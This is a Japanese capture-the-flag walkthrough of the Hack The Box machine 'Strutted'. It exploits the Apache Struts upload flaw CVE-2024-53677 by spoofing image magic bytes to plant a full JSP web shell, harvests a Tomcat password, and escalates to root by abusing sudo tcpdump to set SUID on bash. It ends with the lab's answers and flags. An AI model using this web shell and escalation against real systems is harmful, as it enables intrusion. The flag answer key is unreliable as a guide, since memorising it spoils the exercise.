本記事の概要
Hack The BoxのLinuxサーバの難易度Mediumのマシンである「Strutted」に対する攻撃手法を記載します。
本記事では、以下の手順を記載します。
(1) ポートスキャン
(2) 名前解決のためのhostsファイル更新
(3) Webアクセスできるファイル/ディレクトリ調査
(4) Webサイトの動作確認
(5) 脆弱性の調査
(6) 脆弱性(CVE-2024-53677)を悪用して任意のコマンドを実行するファイルのアップロード(パターン1:ファイルの先頭に文字列追加)
(7) 脆弱性(CVE-2024-53677)を悪用して任意のコマンドを実行するファイルのアップロード(パターン2:リクエストデータの変更)
(8) 任意のコマンドを実行で認証情報取得
(9) jamesユーザー権限のシェル奪取
(10) 特権昇格
※画面や記載している手順は記事を作成した時点のものですので、画面などが変わっている可能性があります。
ポートスキャン
(1) 「nmap -sC -sV 10.10.11.59」コマンドを実行して、応答があるポート番号を確認する。SSH(22/tcp)、HTTP(80/tcp)のポートが応答がある。
$ nmap -sC -sV 10.10.11.59
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-16 21:28 JST
Nmap scan report for strutted.htb (10.10.11.59)
Host is up (0.20s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Strutted\xE2\x84\xA2 - Instant Image Uploads
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 23.59 seconds名前解決のためのhostsファイル更新
(1) ブラウザを用いて「http://10.10.11.59/」にアクセスすると、「http://2million.htb/」にリダイレクトされる。
(2) 名前解決できるようにKali Linuxの/etc/hostsファイルに記載する。
$ echo '10.10.11.59 strutted.htb' | sudo tee -a /etc/hosts
$ cat /etc/hosts
→「10.10.11.59 strutted.htb」が出力されることを確認する。Webアクセスできるファイル/ディレクトリ調査
(1) feroxbusterを用いてアクセスできるURLを確認すると、「http://strutted.htb/how」や「http://strutted.htb/download」のアクセス時のHTTPステータスコードが200番(成功)になっているが、特に気になる箇所はない。
$ feroxbuster -u http://strutted.htb/
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher ? ver: 2.11.0
qqqqqqqqqqqqqqqqqqqqqqqqqqqwqqqqqqqqqqqqqqqqqqqqqq
? Target Url x http://strutted.htb/
? Threads x 50
? Wordlist x /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
? Status Codes x All Status Codes!
? Timeout (secs) x 7
? User-Agent x feroxbuster/2.11.0
? Config File x /etc/feroxbuster/ferox-config.toml
? Extract Links x true
? HTTP methods x [GET]
? Recursion Depth x 4
qqqqqqqqqqqqqqqqqqqqqqqqqqqvqqqqqqqqqqqqqqqqqqqqqq
? Press [ENTER] to use the Scan Management Menu?
qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq
404 GET 1l 69w -c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200 GET 156l 387w -c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200 GET 182l 443w 6119c http://strutted.htb/how
200 GET 0l 0w 39680602c http://strutted.htb/download
200 GET 0l 0w 39680602c http://strutted.htb/download.action
200 GET 182l 567w 6610c http://strutted.htb/about
404 GET 1l 67w 770c http://strutted.htb/text/
404 GET 1l 67w 770c http://strutted.htb/text/css
ーーーー(省略)ーーーーWebサイトの動作確認
(1) ブラウザを用いて「http://strutted.htb/」にアクセスすると、以下の画面が表示される。
(2) 右上の「Download」をクリックすると、strutted.zipファイルがダウンロードされる。。
(3) 「Browse…」をクリックしてアップロードするファイルを選択し、「Upload」をクリックする。
(4) 画像ファイルではない場合、「Supported file types: JPG, JPEG, PNG, GIF!」というメッセージが表示されるため、アップロードするファイルが制限されていることが分かる。
(5) 正常な動作を確認するために、「Browse…」をクリックしてアップロードする画像ファイルを選択し、「Upload」をクリックする。
(6) アップロードした画像ファイルが表示される。
(7) Burp Suiteにてリクエスト通信をキャプチャすると以下のデータを送っていることが分かる。
【ファイルアップロード時のリクエスト通信】
POST /upload.action;jsessionid=834E1A9D211EA903D3BD4F99F602F568 HTTP/1.1
Host: strutted.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=---------------------------296063441326956365344091899441
Content-Length: 259494
Origin: http://strutted.htb
Connection: keep-alive
Referer: http://strutted.htb/
Cookie: JSESSIONID=834E1A9D211EA903D3BD4F99F602F568
Upgrade-Insecure-Requests: 1
Priority: u=0, i
-----------------------------296063441326956365344091899441
Content-Disposition: form-data; name="upload"; filename="Screenshot_2025-02-06_08_41_02.png"
Content-Type: image/png
PNG
ーーー(画像ファイルのデータは省略)ーーー
-----------------------------296063441326956365344091899441--
脆弱性の調査
(1) strutted.zipファイルを解凍し、その中のファイルを確認する。
$ unzip strutted.zip
→「strutted.zip」ファイルが解凍される。
$ ls -l
合計 38772
-rw-r--r-- 1 root root 615 1月 7 14:59 Dockerfile
-rw-r--r-- 1 root root 4064 1月 7 14:59 README.md
-rw-r--r-- 1 root root 1361 1月 7 14:59 context.xml
drwxr-xr-x 4 root root 4096 1月 7 14:59 strutted
-rw-rw-r-- 1 kali kali 39680602 2月 4 22:06 strutted.zip
-rw-r--r-- 1 root root 222 1月 7 14:59 tomcat-users.xml
(2) strutted.zipファイルの中にあるpom.xmlを開くと、「<struts2.version>6.3.0.1</struts2.version>」があるため、「Apache Struts2 6.3.0.1」を使用していることが分かる。
$ cat strutted/pom.xml
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<packaging>war</packaging>
<artifactId>strutted</artifactId>
<groupId>org.strutted.htb</groupId>
<version>1.0.0</version>
<name>Strutted?</name>
<description>Instantly upload an image and receive a unique, shareable link. Keep your images secure, accessible, and easy to share―anywhere, anytime.</description>
<properties>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
<maven.compiler.source>17</maven.compiler.source>
<maven.compiler.target>17</maven.compiler.target>
<struts2.version>6.3.0.1</struts2.version>
<jetty-plugin.version>9.4.46.v20220331</jetty-plugin.version>
<maven.javadoc.skip>true</maven.javadoc.skip>
<jackson.version>2.14.1</jackson.version>
<jackson-data-bind.version>2.14.1</jackson-data-bind.version>
</properties>
ーーー(省略)ーーー
</project>
(3) 「Apache Struts2 6.3.0.1 vulnerability」をGoogle検索すると、「CVE-2024-53677」の脆弱性があることが分かる。
(4) 「CVE-2024-53677 PoV」で検索すると、「https://www.sonicwall.com/blog/apache-struts-path-traversal-to-rce-cve-2024-53677」に攻撃の流れが記載されている。
要約すると、悪意のあるスクリプトをアップロードして、HTTP経由でスクリプトにアクセスすると任意のコマンドを実行できるという内容です。
(5) さらに「CVE-2024-53677 PoV」で検索すると、「https://github.com/EQSTLab/CVE-2024-53677」に攻撃コードが公開されていたため、使用する。
(6) 攻撃コードを用いてシェルの制御を試みると、「Supported file types: JPG, JPEG, PNG, GIF」というメッセージが表示されアップロードするファイルの制限で実行できない。
# git clone https://github.com/EQSTLab/CVE-2024-53677.git
# cd CVE-2024-53677
# pip install -r requirements.txt
# python CVE-2024-53677.py -u http://strutted.htb/upload.action -p ../../shell.jsp -f ./test.txt
ーーー(省略)ーーー
<div class="hero-section">
<div class="container">
<h1>Upload Your Images, Get a Shareable Link</h1>
<p>Instantly upload an image and receive a unique, shareable link. Keep your images secure, accessible, and easy to share―anywhere, anytime.</p>
<p><b>Supported file types: JPG, JPEG, PNG, GIF</b></p>
</div>
</div>
ーーー(省略)ーーー
(7) strutted.zipファイルの中にあるUpload.javaを開くと、画像ファイルであることを判断しているプログラムが記載されている。
$ cat strutted/src/main/java/org/strutted/htb/Upload.java
ーーー(省略)ーーー
private boolean isImageByMagicBytes(File file) {
byte[] header = new byte[8];
try (InputStream in = new FileInputStream(file)) {
int bytesRead = in.read(header, 0, 8);
if (bytesRead < 8) {
return false;
}
// JPEG
if (header[0] == (byte)0xFF && header[1] == (byte)0xD8 && header[2] == (byte)0xFF) {
return true;
}
// PNG
if (header[0] == (byte)0x89 && header[1] == (byte)0x50 && header[2] == (byte)0x4E && header[3] == (byte)0x47) {
return true;
}
// GIF (GIF87a or GIF89a)
if (header[0] == (byte)0x47 && header[1] == (byte)0x49 && header[2] == (byte)0x46 &&
header[3] == (byte)0x38 && (header[4] == (byte)0x37 || header[4] == (byte)0x39) && header[5] == (byte)0x61) {
return true;
}
} catch (Exception e) {
e.printStackTrace();
}
return false;
}
ーーー(省略)ーーー脆弱性(CVE-2024-53677)を悪用して任意のコマンドを実行するファイルのアップロード(パターン1:ファイルの先頭に文字列追加)
(1) 「strutted/src/main/java/org/strutted/htb/Upload.java」の内容によると、JPEGファイルの先頭文字列は「\xff\xd8\xff」です。そのため、「\xff\xd8\xff」をプログラム(poc.jsp)の先頭に追記する。
$ cd CVE-2024-53677
$ print "\xff\xd8\xff\n" > poc.jpg
$ cat test.txt >> poc.jpg
$ file poc.jpg
→「poc.jpg: JPEG image data」が出力される。
(2) 「python CVE-2024-53677.py」コマンドを実行したプロンプトを確認すると、「http://strutted.htb/uploads/20250318_135851/../../shell.jsp」にファイルがアップロードされたことが分かる。
# python CVE-2024-53677.py -u http://strutted.htb/upload.action -p ../../shell.jsp -f ./poc.jpg
ーーー(省略)ーーー
<div class="mb-3 mt-1 back-link">
<input type="text" class="form-control" style="display:none;" id="shareableLink" value="http://strutted.htb/s/8f0f4495" readonly>
<button class="btn btn-outline-secondary" type="button" id="copyButton">Copy Shareable Link</button>
</div>
<img src="uploads/20250318_135851/../../shell.jsp" alt="Uploaded File"/>
</div>
<div class="back-link">
<a href="/upload.action;jsessionid=1E36D96BFBB292CEB6943BBAA4C82FC3" class="btn btn-outline-secondary">Upload Another File</a>
</div>
</div>
</div>
<footer>
ーーー(省略)ーーー脆弱性(CVE-2024-53677)を悪用して任意のコマンドを実行するファイルのアップロード(パターン2:リクエストデータの変更)
(1) Burp Suiteを起動して、[Proxy] > [Intercept] 画面にて「Intercept on」にする。
(2) CVE-2024-53677.pyに「import os」と「os.environ[“http_proxy”]=”http://127.0.0.1:8080/”」を追記してプロキシを経由するようにプログラムを更新する。
$ vi CVE-2024-53677.py
import sys
import argparse
import os # 追記した行
requests.packages.urllib3.disable_warnings(
requests.packages.urllib3.exceptions.InsecureRequestWarning
)
ーーー(省略)ーーー
def main(args):
# ?? ?? ??
file_content = None
os.environ["http_proxy"]="http://127.0.0.1:8080/" # 追記した行
if args.file:
ーーー(省略)ーーー
(3) 攻撃コードを用いてシェルの制御を試みる。
$ python CVE-2024-53677.py -u http://strutted.htb/upload.action -p ../../shell.jsp -f ./test.txt
(4) Burp Suiteの画面で以下のリクエスト通信を送信しようとしており、「Intercept on」になっているため送信するのが止まっている。
【リクエスト通信の内容】
POST /upload.action HTTP/1.1
Host: strutted.htb
User-Agent: python-requests/2.32.3
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Content-Length: 3045
Content-Type: multipart/form-data; boundary=eb8d6a972b88ce7794fe443c59bfb1c7
--eb8d6a972b88ce7794fe443c59bfb1c7
Content-Disposition: form-data; name="Upload"; filename="exploit_file.jpg"
Content-Type: image/jpeg
<%@ page import="java.io.*, java.util.*, java.net.*" %>
<%
String action = request.getParameter("action");
String output = "";
try {
if ("cmd".equals(action)) {
// Execute system commands
String cmd = request.getParameter("cmd");
if (cmd != null) {
Process p = Runtime.getRuntime().exec(cmd);
BufferedReader reader = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line;
while ((line = reader.readLine()) != null) {
output += line + "\n";
}
reader.close();
}
} else if ("upload".equals(action)) {
// File upload
String filePath = request.getParameter("path");
String fileContent = request.getParameter("content");
if (filePath != null && fileContent != null) {
File file = new File(filePath);
try (BufferedWriter writer = new BufferedWriter(new FileWriter(file))) {
writer.write(fileContent);
}
output = "File uploaded to: " + filePath;
} else {
output = "Invalid file upload parameters.";
}
} else if ("list".equals(action)) {
// List directory contents
String dirPath = request.getParameter("path");
if (dirPath != null) {
File dir = new File(dirPath);
if (dir.isDirectory()) {
for (File file : Objects.requireNonNull(dir.listFiles())) {
output += file.getName() + (file.isDirectory() ? "/" : "") + "\n";
}
} else {
output = "Path is not a directory.";
}
} else {
output = "No directory path provided.";
}
} else if ("delete".equals(action)) {
// Delete files
String filePath = request.getParameter("path");
if (filePath != null) {
File file = new File(filePath);
if (file.delete()) {
output = "File deleted: " + filePath;
} else {
output = "Failed to delete file: " + filePath;
}
} else {
output = "No file path provided.";
}
} else {
// Unknown operation
output = "Unknown action: " + action;
}
} catch (Exception e) {
output = "Error: " + e.getMessage();
}
// Return the result
response.setContentType("text/plain");
out.print("output\n\n\n");
out.print(output);
%>
--eb8d6a972b88ce7794fe443c59bfb1c7
Content-Disposition: form-data; name="top.UploadFileName"
../../shell.jsp
--eb8d6a972b88ce7794fe443c59bfb1c7--

(5) 画像ファイル(GIF形式)であるとプログラムで判断されるように以下の3行を追記/更新する。
・「Content-Disposition: form-data; name=”Upload”; filename=”exploit_file.gif”」
・「Content-Type: image/gif」
・「GIF87a」
その後、「Intercept on」をクリックして、「Intercept off」にすることで更新したリクエストデータを送信する。
【変更後のリクエスト通信の内容】
POST /upload.action HTTP/1.1
Host: strutted.htb
User-Agent: python-requests/2.32.3
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Content-Length: 3045
Content-Type: multipart/form-data; boundary=eb8d6a972b88ce7794fe443c59bfb1c7
--eb8d6a972b88ce7794fe443c59bfb1c7
Content-Disposition: form-data; name="Upload"; filename="exploit_file.gif"
Content-Type: image/gif
GIF87a
<%@ page import="java.io.*, java.util.*, java.net.*" %>
<%
String action = request.getParameter("action");
String output = "";
try {
if ("cmd".equals(action)) {
// Execute system commands
String cmd = request.getParameter("cmd");
if (cmd != null) {
Process p = Runtime.getRuntime().exec(cmd);
BufferedReader reader = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line;
while ((line = reader.readLine()) != null) {
output += line + "\n";
}
reader.close();
}
} else if ("upload".equals(action)) {
// File upload
String filePath = request.getParameter("path");
String fileContent = request.getParameter("content");
if (filePath != null && fileContent != null) {
File file = new File(filePath);
try (BufferedWriter writer = new BufferedWriter(new FileWriter(file))) {
writer.write(fileContent);
}
output = "File uploaded to: " + filePath;
} else {
output = "Invalid file upload parameters.";
}
} else if ("list".equals(action)) {
// List directory contents
String dirPath = request.getParameter("path");
if (dirPath != null) {
File dir = new File(dirPath);
if (dir.isDirectory()) {
for (File file : Objects.requireNonNull(dir.listFiles())) {
output += file.getName() + (file.isDirectory() ? "/" : "") + "\n";
}
} else {
output = "Path is not a directory.";
}
} else {
output = "No directory path provided.";
}
} else if ("delete".equals(action)) {
// Delete files
String filePath = request.getParameter("path");
if (filePath != null) {
File file = new File(filePath);
if (file.delete()) {
output = "File deleted: " + filePath;
} else {
output = "Failed to delete file: " + filePath;
}
} else {
output = "No file path provided.";
}
} else {
// Unknown operation
output = "Unknown action: " + action;
}
} catch (Exception e) {
output = "Error: " + e.getMessage();
}
// Return the result
response.setContentType("text/plain");
out.print("output\n\n\n");
out.print(output);
%>
--eb8d6a972b88ce7794fe443c59bfb1c7
Content-Disposition: form-data; name="top.UploadFileName"
../../shell.jsp
--eb8d6a972b88ce7794fe443c59bfb1c7--

(7) 「python CVE-2024-53677.py」コマンドを実行したプロンプトを確認すると、「http://strutted.htb/uploads/20250317_135644/../../shell.jsp」にファイルがアップロードされたことが分かる。
$ python CVE-2024-53677.py -u http://strutted.htb/upload.action -p ../../shell.jsp -f ./test.txt
ーーー(省略)ーーー
</header>
<div class="content-wrapper">
<div class="hero-section">
<div class="container">
<h1>Image Upload Successful!</h1>
<p>Congratulations! Your image has been securely uploaded and is now accessible via a shareable link.</p>
</div>
</div>
<div class="success-container">
<div class="messages">
<div class="mb-3 mt-1 back-link">
<input type="text" class="form-control" style="display:none;" id="shareableLink" value="http://strutted.htb/s/aa995cfe" readonly>
<button class="btn btn-outline-secondary" type="button" id="copyButton">Copy Shareable Link</button>
</div>
<img src="uploads/20250317_135644/../../shell.jsp" alt="Uploaded File"/>
</div>
<div class="back-link">
<a href="/upload.action;jsessionid=15B2A96E34A0C856EE20B225DDCA693A" class="btn btn-outline-secondary">Upload Another File</a>
</div>
</div>
</div>
<footer>
ーーー(省略)ーーー任意のコマンドを実行で認証情報取得
(1) ブラウザを用いて「http://strutted.htb/shell.jsp?action=cmd&cmd=id」にアクセスすると、idコマンドの実行結果が表示される。
GIF87a
output
uid=998(tomcat) gid=998(tomcat) groups=998(tomcat)
(2) ブラウザを用いて「http://strutted.htb/shell.jsp?action=cmd&cmd=ls -la」にアクセスすると、ls -laコマンドの実行結果が表示される。
GIF87a
output
total 20
drwxr-xr-x 5 root root 4096 Mar 17 10:01 .
drwxr-xr-x 41 root root 4096 Jan 15 14:30 ..
lrwxrwxrwx 1 root root 12 Jul 20 2022 conf -> /etc/tomcat9
drwxr-xr-x 2 tomcat tomcat 4096 Jan 15 14:30 lib
lrwxrwxrwx 1 root root 17 Jul 20 2022 logs -> ../../log/tomcat9
drwxr-xr-x 2 root root 4096 Mar 17 10:01 policy
drwxrwxr-x 3 tomcat tomcat 4096 Jan 15 14:30 webapps
lrwxrwxrwx 1 root root 19 Jul 20 2022 work -> ../../cache/tomcat9
(3) ブラウザを用いて「http://strutted.htb/shell.jsp?action=cmd&cmd=ls%20conf」にアクセスすると、ls confコマンドの実行結果が表示される。
GIF87a
output
Catalina
catalina.properties
context.xml
jaspic-providers.xml
logging.properties
policy.d
server.xml
tomcat-users.xml
web.xml
(4) ブラウザを用いて「http://strutted.htb/shell.jsp?action=cmd&cmd=cat%20conf/tomcat-users.xml」にアクセスすると、cat conf/tomcat-users.xmlコマンドの実行結果が表示される。表示内容を確認すると、「<user username=”admin” password=”IT14d6SSP81k”」がある。
GIF87a
output
<?xml version="1.0" encoding="UTF-8"?>
<!--
Licensed to the Apache Software Foundation (ASF) under one or more
contributor license agreements. See the NOTICE file distributed with
this work for additional information regarding copyright ownership.
The ASF licenses this file to You under the Apache License, Version 2.0
(the "License"); you may not use this file except in compliance with
the License. You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
-->
<tomcat-users xmlns="http://tomcat.apache.org/xml"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
version="1.0">
<!--
By default, no user is included in the "manager-gui" role required
to operate the "/manager/html" web application. If you wish to use this app,
you must define such a user - the username and password are arbitrary.
Built-in Tomcat manager roles:
- manager-gui - allows access to the HTML GUI and the status pages
- manager-script - allows access to the HTTP API and the status pages
- manager-jmx - allows access to the JMX proxy and the status pages
- manager-status - allows access to the status pages only
The users below are wrapped in a comment and are therefore ignored. If you
wish to configure one or more of these users for use with the manager web
application, do not forget to remove the <!.. ..> that surrounds them. You
will also need to set the passwords to something appropriate.
-->
<!--
<user username="admin" password="<must-be-changed>" roles="manager-gui"/>
<user username="robot" password="<must-be-changed>" roles="manager-script"/>
<role rolename="manager-gui"/>
<role rolename="admin-gui"/>
<user username="admin" password="IT14d6SSP81k" roles="manager-gui,admin-gui"/>
--->
<!--
The sample user and role entries below are intended for use with the
examples web application. They are wrapped in a comment and thus are ignored
when reading this file. If you wish to configure these users for use with the
examples web application, do not forget to remove the <!.. ..> that surrounds
them. You will also need to set the passwords to something appropriate.
-->
<!--
<role rolename="tomcat"/>
<role rolename="role1"/>
<user username="tomcat" password="<must-be-changed>" roles="tomcat"/>
<user username="both" password="<must-be-changed>" roles="tomcat,role1"/>
<user username="role1" password="<must-be-changed>" roles="role1"/>
-->
</tomcat-users>
(5) ブラウザを用いて「http://strutted.htb/shell.jsp?action=cmd&cmd=cat%20/etc/passwd」にアクセスすると、cat /etc/passwdコマンドの実行結果が表示される。adminユーザーは存在しないが、jamesというユーザーが存在していることが分かる。
GIF87a
output
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
syslog:x:107:113::/home/syslog:/usr/sbin/nologin
uuidd:x:108:114::/run/uuidd:/usr/sbin/nologin
tcpdump:x:109:115::/nonexistent:/usr/sbin/nologin
tss:x:110:116:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:111:117::/var/lib/landscape:/usr/sbin/nologin
fwupd-refresh:x:112:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
usbmux:x:113:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
lxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false
tomcat:x:998:998:Apache Tomcat:/var/lib/tomcat9:/usr/sbin/nologin
james:x:1000:1000:Network Administrator:/home/james:/bin/bash
_laurel:x:997:997::/var/log/laurel:/bin/falsejamesユーザー権限のシェル奪取
(1) Hack The Boxは他のユーザーのパスワードを流用していることが多いため、「tomcat-users.xml」に記載されたパスワードを用いてjamesユーザーでSSHログインできるか確認する。
$ ssh james@strutted.htb
→パスワード(IT14d6SSP81k)を入力して、ログインに成功する。
※「sshpass -p'IT14d6SSP81k' ssh -o StrictHostKeyChecking=no james@strutted.htb」でもログインできる。
(2) 一般ユーザのフラグを確認する。
$ cat user.txt
→フラグの文字列(12e136d176c9299aeff6581e1e1d4d14)が出力される。特権昇格
(1) SUID(※)が付与されたファイルを検索する。しかし、特に気になるファイルはない。
※SUIDが付与された実行ファイルはどのユーザーが実行してもファイルの所有者の権限で実行できる。
$ find / -perm -u=s -type f 2> /dev/null
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/su
/usr/bin/umount
/usr/bin/chsh
/usr/bin/fusermount3
/usr/bin/sudo
/usr/bin/passwd
/usr/bin/mount
/usr/bin/chfn
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/libexec/polkit-agent-helper-1
(2) sudoコマンドの設定を確認する。「(ALL) NOPASSWD: /usr/sbin/tcpdump」が出力されるため、パスワードなしでtcpdumpコマンドをroot権限で使える。
$ sudo -l
Matching Defaults entries for james on localhost:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User james may run the following commands on localhost:
(ALL) NOPASSWD: /usr/sbin/tcpdump
(3) ブラウザを用いて 「GTFOBins(https://gtfobins.github.io/)」にアクセスする。
[GTFOBinsとは]
GTFOBinsはLinuxにおけるローカル権限昇格についてまとめたWebサイト。
脆弱性のまとめではなく、コマンド(バイナリ)も記載されている。
(4) GTFOBinでtcpdumpを検索すると、「https://gtfobins.github.io/gtfobins/tcpdump/」に特権昇格のコマンドが記載されている。
(5) /bin/bashにSUIDを付与する。
$ ls -l /bin/bash
-rwxr-xr-x 1 root root 1396520 Mar 14 2024 /bin/bash
$ COMMAND='chmod u+s /bin/bash'
$ TF=$(mktemp)
$ echo "$COMMAND" > $TF
$ chmod +x $TF
$ sudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF -Z root
Maximum file limit reached: 1
1 packet captured
4 packets received by filter
0 packets dropped by kernel
$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1396520 Mar 14 2024 /bin/bash
(6) rootユーザに特権昇格する。
$ bash -p
→root権限のプロンプト(bash-5.1#)が表示される。
# whoami
root
(7) rootユーザーのフラグの文字列を確認する。
# cat /root/root.txt
→フラグの文字列が出力される。[補足] Guided ModeのQA
・Task 1
問題(英語訳):How many open TCP ports are listening on Strutted?
問題(日本語訳):Strutted でリッスンしている開いている TCP ポートはいくつありますか?
答え:2
※nmapコマンドの結果、22/tcpと80/tcpのポート番号から応答がある。
・Task 2
問題(英語訳):Clicking Download triggers a zip file download containing the Docker environment for the application, what is the name of the application server running on the target?
問題(日本語訳):「Download」をクリックすると、アプリケーションの Docker 環境を含む zip ファイルのダウンロードがトリガーされます。ターゲットで実行されているアプリケーション サーバーの名前は何ですか?
答え:tomcat
・Task 3
問題(英語訳):In a Java project, what is the name of this file that contains the dependencies for the application?
問題(日本語訳):Java プロジェクトでは、アプリケーションの依存関係を含むこのファイルの名前は何ですか?
答え:pom.xml
・Task 4
問題(英語訳):What is the name of the MVC framework used by the application?
問題(日本語訳):アプリケーションで使用される MVC フレームワークの名前は何ですか?
答え:Apache Struts
・Task 5
問題(英語訳):What version of the framework does the application use?
問題(日本語訳):アプリケーションはどのバージョンのフレームワークを使用していますか?
答え:6.3.0.1
・Task 6
問題(英語訳):What is the 2024 CVE ID assigned to a vulnerability in the file upload logic vulnerability in Apache Struts?
問題(日本語訳):Apache Struts のファイルアップロードロジックの脆弱性に割り当てられた 2024 CVE ID は何ですか?
答え:CVE-2024-53677
・Task 7
問題(英語訳):What system user is the web application running as on Strutted?
問題(日本語訳):Strutted 上で Web アプリケーションはどのシステム ユーザーとして実行されていますか?
答え:tomcat
・Task 8
問題(英語訳):What is the james user's password on Strutted?
問題(日本語訳):Strutted の james ユーザーのパスワードは何ですか?
答え:IT14d6SSP81k
・Submit User Flag
問題(英語訳):Submit the flag located in the james user's home directory.
問題(日本語訳):james ユーザーのホーム ディレクトリにあるフラグを送信します。
答え:12e136d176c9299aeff6581e1e1d4d14
※「user.txt」ファイルの内容。
・Task 10
問題(英語訳):What commands can the james user run with elevated privileges using sudo?
問題(日本語訳):james ユーザーは sudo を使用して昇格された権限でどのコマンドを実行できますか?
答え:tcpdump
・Submit Root Flag
問題(英語訳):Submit the flag located in the root user's home directory.
問題(日本語訳):rootユーザーのホーム ディレクトリにあるフラグを送信します。
答え:20eee3ee6266144ecf66d4652c6f7f22関連記事(Hack The Box)
※後日作成予定。

